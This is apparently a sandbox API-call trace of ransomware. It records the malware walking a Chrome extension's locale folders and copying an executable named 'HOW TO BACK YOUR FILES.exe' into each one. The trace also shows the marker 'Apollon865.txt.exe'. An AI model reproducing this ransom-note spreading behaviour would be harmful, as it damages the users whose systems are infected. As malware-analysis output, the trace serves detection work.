	[0048.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35191750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35191750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.701] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.701] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.701] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da"
	[0048.701] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da"
	[0048.701] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.705] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.705] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35191750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35191750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.706] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.706] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.706] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs"
	[0048.706] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs"
	[0048.706] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.706] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.714] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351b78b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351b78b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.714] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.714] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.714] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca"
	[0048.714] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca"
	[0048.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.718] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.718] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351b78b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351b78b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.718] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.718] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.718] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn"
	[0048.718] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn"
	[0048.718] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.723] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.723] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351b78b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351b78b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.723] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.723] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.723] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg"
	[0048.723] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg"
	[0048.723] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.723] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.727] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.727] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351dda10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351dda10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.727] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.727] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.727] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az"
	[0048.727] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az"
	[0048.727] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.732] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351dda10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351dda10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.732] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.732] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.732] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar"
	[0048.732] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar"
	[0048.732] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.736] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x351dda10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x351dda10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.736] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.736] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.736] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am"
	[0048.737] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am"
	[0048.737] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.737] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.741] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35203b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35203b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.741] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.741] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.741] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af"
